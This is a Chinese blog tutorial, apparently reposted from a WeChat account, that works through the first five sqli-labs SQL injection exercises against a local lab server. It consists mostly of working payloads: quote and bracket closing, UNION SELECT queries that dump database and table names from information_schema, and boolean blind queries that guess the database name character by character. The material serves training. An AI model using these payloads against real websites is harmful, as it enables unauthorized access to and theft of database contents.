注入基础(一)

  • A+
所属分类:安全文章

大家好,我是小歪的基友 小七, 小歪JJ歪了,去做手术了  看了这么久没有更新点啥,所以在此我就写点很基础的东西,一共是65个注入点,而我只写了前面的8个  还有57个注入点的过程我还没有写,希望有兴趣的道友与我一起研究共同进步。



Less-1

字符型注入

单引号报错:

 注入基础(一)

 

之后:

id=1'order by 1

或:

id=1'order by 1111

都没有任何用,都只是反正错误

 

为什么猜不出来字段?

因为它的SQL语句是这样的:

SELECT * FROM users WHERE id='$id' LIMIT 0,1

 

所以我们提交的语句是这样的:

SELECT * FROM users WHERE id='$id'' order by 111 LIMIT 0,1

后面还有limit 0,1

 

所以需要注释掉,  %23  也就是 “#” 号

 

所以此时的语句是这样:

Order by 4报错说明是3

http://172.17.3.125/sqli-labs/Less-1/index.php?id=1' order by 3%23

 

然后通过:

这里说一点:union 和  union all   的区别

Union 把重复的去掉

Union all  不去重   

 

此时我们提交语句:

http://172.17.3.125/sqli-labs/Less-1/index.php?id=1' union all select 1,version(),3%23

 

 注入基础(一)

 

此时我们的语句并没有显示出版本号呀?  想了好久之后  语句是这样的:

 

http://172.17.3.125/sqli-labs/Less-1/index.php?id=-1' union all select 1,version(),3%23

 

就报错了

 

 

http://172.17.3.125/sqli-labs/Less-1/index.php?

id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata%23//爆出所有数据库

 

 

http://172.17.3.125/sqli-labs/Less-1/index.php?

id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479%23//爆出所有表

 

 

 

上面好理解不用觉得information_Schema后面是什么:

进入到mysql

 

mysql> show databases;

+--------------------+

| Database           |

+--------------------+

| information_schema |//这个就是查询的数据库了   那数据库里面有什么?

| mysql              |

| xxmysql            |

+--------------------+

 

 注入基础(一)

 

 注入基础(一)

 

好理解了么?

 

 

 

 

 

 

 

 

 

 

 

Less-2

整形注入

 

Less-1的不同是,在$id 并没有 $id   所以他是直接传入的,如果是在$id是字符型

 注入基础(一)

 

 

 

http://172.17.3.134/sqli-labs/Less-2/index.php?

id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata%23

 

 

 

 

http://172.17.3.134/sqli-labs/Less-2/index.php?

id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479%23

 

 

 

 

 

 

 

 

 

 

Less-3

Error Based- String (with Twist)

 

 注入基础(一)

 

可以看到,此时$id  变成了($id),  而我们此时注入的时候加入单引号是这样的:

就是在index.php?id=1  

所以SQL语句是这样:

select * from users where id = ('1'') limit 0,1;

 

当然这个时候我们要闭合那个括号, 所以注入需要 )此时后面还有一个)就要用到%23(#)号注释掉

 

 

 

http://172.17.3.134/sqli-labs/Less-3/index.php?

id=-1') union select 1,group_concat(schema_name),3 from information_schema.schemata%23

 

 

 

http://172.17.3.134/sqli-labs/Less-3/index.php?

id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479%23

 

 

 

 

 

 

 

 

 

Less-4

 

Error Based- DoubleQuotes String

 注入基础(一)

 

执行的SQL语句是这样的:

 

SELECT * FROM users WHERE id=("1") LIMIT 0,1

 

当我们提交:index.php?id=1  此时SQL的语句是这样的:

 

SELECT * FROM users WHERE id=("1'") LIMIT 0,1

 

双引号里,输入单引号是不会报错的,所以我们想办法要闭合

 

它不是双引号嘛,那我们也加个双引号,是不是变成了 :

 

SELECT * FROM users WHERE id=("1"") LIMIT 0,1

 

所以就报错了,这样就好办了,还有个括号就这样:

 

爆库:

http://172.17.3.134/sqli-labs/Less-4/index.php?id=

-1") union select 1,group_concat(schema_name),3 from information_schema.schemata%23

 

执行的SQL语句是这样:

SELECT * FROM users WHERE id=("-1") union select 1,group_concat(schema_name),3 from information_schema.schemata#") LIMIT 0,1

 

 

爆表:

http://172.17.3.134/sqli-labs/Less-4/index.php?id=

-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479%23

 

 

 

 

Less-5

Double Query- Single Quotes- String

 

不是很清楚先写下来,后面继续研究

 

http://172.17.3.134/sqli-labs/Less-5/index.php?id=1'and left(version(),1)=5%23

SELECT * FROM users WHERE id='1'and left(version(),1)=5#' LIMIT 0,1  判断是否为版本5,如果写成4则会出错

 

 

判断数据库长度是否为1,不是则返回错误页面:

http://172.17.3.134/sqli-labs/Less-5/index.php?id=1'and length(database())=1%23

SELECT * FROM users WHERE id='1'and length(database())=1#' LIMIT 0,1 出错

 

判断数据库长度是否为5,不是则返回错误页面:

http://172.17.3.134/sqli-labs/Less-5/index.php?id=1'and length(database())=5%23

SELECT * FROM users WHERE id='1'and length(database())=5#' LIMIT 0,1 出错

 

 

判断数据库长度是否为8,返回正常,而判断是否为9则出错,那么可以确认数据库名长度为8

http://172.17.3.134/sqli-labs/Less-5/index.php?id=1'and length(database())=8%23

SELECT * FROM users WHERE id='1'and length(database())=8#' LIMIT 0,1 返回正常

 

 

猜数据库:

 

先是判断第一位数据库,a则返回正常,我们要找的就是返回正常前一个出错的字母

我拿a b c来解说:  返回正常,返回错误  c返回错误   那么第1位数据库名则为B

 

http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),1)>'a

SELECT * FROM users WHERE id='1' and left(database(),1)>'a' LIMIT 0,1 返回正常

 

 

http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),1)>'z

SELECT * FROM users WHERE id='1' and left(database(),1)>'z' LIMIT 0,1返回错误

 

 

http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),1)>'r

SELECT * FROM users WHERE id='1' and left(database(),1)>'r' LIMIT 0,1 返回正常

 

http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),1)>'s

SELECT * FROM users WHERE id='1' and left(database(),1)>'s' LIMIT 0,1返回错误

 

http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),1)>'t

SELECT * FROM users WHERE id='1' and left(database(),1)>'t' LIMIT 0,1返回错误

 

第一个字符为s

来对照一下:

a b c d e f g h i j k l m n o p q r s t u v w x y z

 

 

那么来猜第二位数据库名字母:

 

http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),2)>'sa

SELECT * FROM users WHERE id='1' and left(database(),2)>'sa' LIMIT 0,1 返回正常

 

 

http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),2)>'sz

SELECT * FROM users WHERE id='1' and left(database(),2)>'sz' LIMIT 0,1 返回错误

 

 

http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),2)>'sd

SELECT * FROM users WHERE id='1' and left(database(),2)>'d' LIMIT 0,1 返回正常

 

http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),2)>'se

SELECT * FROM users WHERE id='1' and left(database(),2)>'e' LIMIT 0,1 返回错误

 

http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),2)>'sf

SELECT * FROM users WHERE id='1' and left(database(),2)>'f' LIMIT 0,1 返回错误

 

说明第二个字符为e

 

以此类推:

 

第三:

http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),3)>'sec

 

第四:

http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),4)>'secu

 

第五:

http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),5)>'secur

 

第六:

http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),6)>'securi

 

第七:

http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),7)>'securit

 

第八:

http://172.17.3.134/sqli-labs/Less-5/index.php?id=1' and left(database(),8)>'security

 

数据库名:security

 

那么我从查询资料上面,看了习科上面,也并没有说清楚,猜表名,他们给出的方法是这样的:

猜测的上面也是跟上面一样:

 

http://172.17.3.134/sqli-labs/Less-5/index.php?

id=1'and left((select table_name from information_schema.tables limit 0,1),2)>'ch

 注入基础(一)

 

问题,有好多表怎么办?  并没有指定那一个数据库中的表是不?  当然,这个问题我还在想。

 

 注入基础(一)

 

 

猜内容:

http://172.17.3.134/sqli-labs/Less-5/index.php?

id=1' and substr(left(username,1),1,1)=CHAR(68)%23

 

sqlmap跑不出来,只是提示有注入

 

 

 字数有限

 

 

本文始发于微信公众号(关注安全技术):注入基础(一)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: